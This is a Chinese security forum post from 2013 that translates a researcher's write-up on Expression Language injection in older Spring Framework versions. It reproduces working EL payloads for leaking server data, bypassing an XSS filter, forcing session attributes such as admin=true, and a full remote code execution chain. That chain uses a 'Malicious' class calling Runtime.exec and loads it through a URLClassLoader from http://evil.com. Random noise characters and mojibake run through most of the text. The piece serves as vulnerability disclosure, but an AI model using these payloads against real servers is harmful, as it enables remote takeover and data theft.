找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2261|回复: 0
打印 上一主题 下一主题

spring-远程代码注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 21:47:24 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Remote Code with
9 D0 X8 l7 v; c% O: aExpression Language Injection
8 b0 c& i4 N4 l4 `6 JSpring Framework脆弱性—DanAmodio* \3 [/ B" r; b) s2 @; s
全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中% Y3 k- M  c" _( {3 R! x* }6 @: z
可能会存在风险。( k* Q# g' b6 c! H% q$ a
在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的- `( B: E! R0 o- {# G6 k' L
Arshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可0 }' h& [/ L, k" \/ g- @# \
以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,9 G3 B+ R, E' ~1 Z  X/ {) l( j6 g# U
以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前
3 u4 \" p9 O# e9 I2 v版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。
- z% b$ ^* i- Y+ h4 J由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但
; |0 q; G1 {: s; j9 c4 z我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版
/ R3 d3 W$ C3 x- f+ U; T8 t7 w本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。8 W( f; M$ B9 p9 p" I* I
这些版本不支持禁用double EL resolution.4 m% O- `' x% b1 e. G
这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含4 m. h& w! |0 `
EL2.2容器上可能进行远程代码执行。! A! d- X4 `; C) K( C7 s" r4 C8 r# @
这是一个原始信息泄露的攻击例子:; Y) j5 _5 @5 k9 Q
请求:
) l8 \$ E  O' o: Y" M% Zttp://vulnerable.com/foo?message=${applicationScope}+ c) k" G( b$ B% w
到达以下内容页面:! S+ e/ _) o( i3 }( Z* ~
结果将输出一些包含内部服务器信息calsspath 和本地工作目录; W  F& u/ k) x) P
你也可以做一些其他事情,如这样:
% T7 h) e; J% U9 J0 c7 z. e! ?8 c$ h" `${9999+1}
) z2 l- [5 ~$ r) a) M还可以访问session 对象和beans* x( B+ N0 [; X( r7 X7 w  y
${employee.lastName}
+ R" b) h5 w& r1 ]* s; G在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是
& i# z. d/ [$ G2 M* d7 m8 ^EL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东5 _' ]* W$ @  I4 }1 S
西,比如XSS.
3 O: O7 q4 K' A6 t. A, u6 \哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签0 `" e0 F3 y. M/ T( v
突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤
; K, H- P/ t* V8 l- h) ~2 I8 X呢?”
" v* _$ E% B: ~& G4 \) b  S( g因此,我尝试巳缦拢�" t2 a4 Y& `3 o! c: j
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP. A+ L! u2 B9 L. S5 o: k+ w& X
P
- R& u3 K+ W8 z8 G. O" h/ |我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返
1 o- `2 c9 W1 p$ K4 E3 e, f3 V4 {回的文本被插入进了spring:message 标签。+ S  l0 S& X; f8 o. T" L
这里是一个最终绕过过滤的实例:0 z: Y, V6 V6 l) s" s- c7 I
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1)/scriptQ
8 G/ V) h/ c6 r3 |2 S它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为  g. M; e6 q: `4 E9 a# c4 i& D
什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?
5 U* t$ g3 {# u4 M  Z/ M6 g" A# Q经过一番研究,我学习到EL2.2 增加了方法调用。2 _0 x3 w& @) o
我写了一个快速测试应用程序代码并且检测一些功能
6 [) P9 [, c9 H0 @3 w2 v6 o${pageContext.request.getSession().setAttribute(“account”,”123456″)}
; B3 h( K- l: {5 u${pageContext.request.getSession().setAttribute(“admin”,true)}$ D# f) z- \" t: o+ {
好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的9 B& s' l& k% \0 Z3 c$ g4 z
指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?
; W, A2 L3 d1 [! e" N4 f${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1$ d: S- w8 Z  P2 I- g- X' q
“, 1234)}& ^4 |7 d) L+ B
${“”.getClass().forName(“java.lang.Runtime”)}
8 P+ c- r& c# l6 P# I哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不) o* Z1 {$ f7 O- ~# v. u( t) ~+ _
可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函
$ T' m+ \$ `4 _' d数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有
( a9 B! T- m/ j5 S4 a1 h% d  ]一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于; b5 Y1 @& v6 S8 Q/ |
方法签名invoke(Object obj, Object„ args)
& e0 L+ k0 [$ ?/ d1 g% f) s5 B4 m& iJeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问6 i/ M( U. C+ T
题,以让它可以工作起来。
- Z9 k7 R7 Y, n2 ?) l漏洞利用:- D4 P# F: w7 H9 d/ `
我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我
% j0 G4 b3 n% ?4 ~% C希望你们中的一些JAVA奇才告诉我我是如此的可笑。
9 h" S; B, C9 }& y/ g* f1 [& ]这里有一些我试过的失败的用例,为了试图让它工作的用例:
; T  [% g" O, l+ q7 h: ] 写文件到文件系统
2 U3 ?2 v  E% K2 e4 S! a0 H 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.
+ o+ \6 K6 r: k, h+ f) H我认为这些可以很好的工作,但是我不能找到合适的类来载入。2 L. m% ~# O! v/ u! v$ b0 O: [. }4 n6 h
${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}. f: K6 M- |; ?  ]1 @3 m
javax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:
: C5 R- ^. q5 q. v7 v" x% N7 H# Z9 iorg.springframework.expression.spel.standard.SpelExpressionParser not found
* a6 g4 }( n# _9 {" r- U- y9 Bby3 _2 v- c* F! m4 B# \% T. g% P
org.glassfish.web.javax.servlet.jsp [194].
5 [7 u6 v9 l6 m' A# U; o1 C) z# d 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public5 k1 V3 ]$ q9 f% t, V# ?
 利用反射来创建一个新的Runtime(and watch the world burn): r  d% ~+ U' J+ e- p2 G( A! j9 x
${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName
. E1 E0 M2 O  \4 }- [1 E  A$ A(“java.lang.Runtime”)).getDeclaredConstructors()[0])}
' j6 c6 q, h! e4 V( L! A# J7 j${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}& t7 _3 U" U5 J
 使用java.lang.ProcessBuilder
: `& i( Z0 J( K4 x9 f, r 用表达式语言来评估表达式语言5 X6 n$ N8 E; {7 p  ^( D
Expression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.3 o( t) r5 @& x
${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request2 O& L. q6 e1 ?( e0 }1 F8 l
“,”".getClass(),null)}  R  T: R( w& p+ o! S  S& ?
 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)
3 `% _" d4 S! u我在使用一个空数组通过Method.invoke()时失败了很多次9 ^8 J, t  f/ Q* H  K
“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo
( J5 o/ U8 R/ I9 N  x. t3 B.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A
6 N+ O5 \/ P. Q$ ?: c" ZrrayList”).newInstance().toArray())
4 `" C9 _4 g/ B( Q. p1 o: q/ O. bjava.lang.IllegalArgumentException: wrong number of arguments. J+ k5 S$ M' m6 v4 g4 ]3 ?1 n
最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可
6 S3 {3 O" e+ s+ {: K2 j# R: y/ ^以创建一个恶意class文件并且指向类装载器.) N9 ]/ L) T( t4 i  o" i
我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:0 j. }7 ~7 {: t5 i
public class Malicious {- W7 ^) F) _$ ^' F  J
public Malicious() {
7 }+ [2 D* l8 w6 h" l' G9 _$ a% }7 qtry {2 ?9 J& c/ z  Z# G+ j2 A
java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac
5 z3 @" L# y* ijava.lang.Runtime.getRuntime().exec(“calc.exe”); //Win% U% U- a/ r( Z% M
} catch (Exception e) {
* o7 V& u( v: C1 d! `8 d}& b0 N2 U1 O* x# r- z$ L$ S# ~
}' T, Q4 j8 _- _& t/ _* M2 X" g2 q7 s/ ?
我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回, u6 n0 |" H) Z0 l2 j* N# a
话中,因此它可以被使用.& ]4 o2 Q$ T! j8 s2 \
${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName) u% E, A% @3 i: M& E; H, A0 c
(“java.util.ArrayList”).newInstance())}
! G4 _2 ^9 U: NURLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建7 C$ J4 \, h1 f6 _
一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和  ^2 ~& g( }; E
getResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个& u5 E- S- k7 A3 ~0 L1 l* d  M8 A
我们可以调用的create(string)方法,然后转换对一个URL对象。$ }, t3 L# q/ I9 ?0 H9 a4 L# _
${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh* p- k' C9 H* `* y
ere/malicious/classfile/is/located/”).toURL())}$ I7 `% ?7 t' [: D, H- _1 a3 C
然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,  D( T# ?4 x5 ^( `- q: }0 |  N
恶意类文件被装载并创建,触发远程代码.7 N  q! b: C# Y3 ]
${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte) T/ `5 X5 G$ h% Y& D
xt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().
! w5 z2 z0 O3 D% |3 D' T( C; s) g1 DgetClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance
- N  C+ Z3 p# l. r( p& L; f) @1 T/ c()}
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表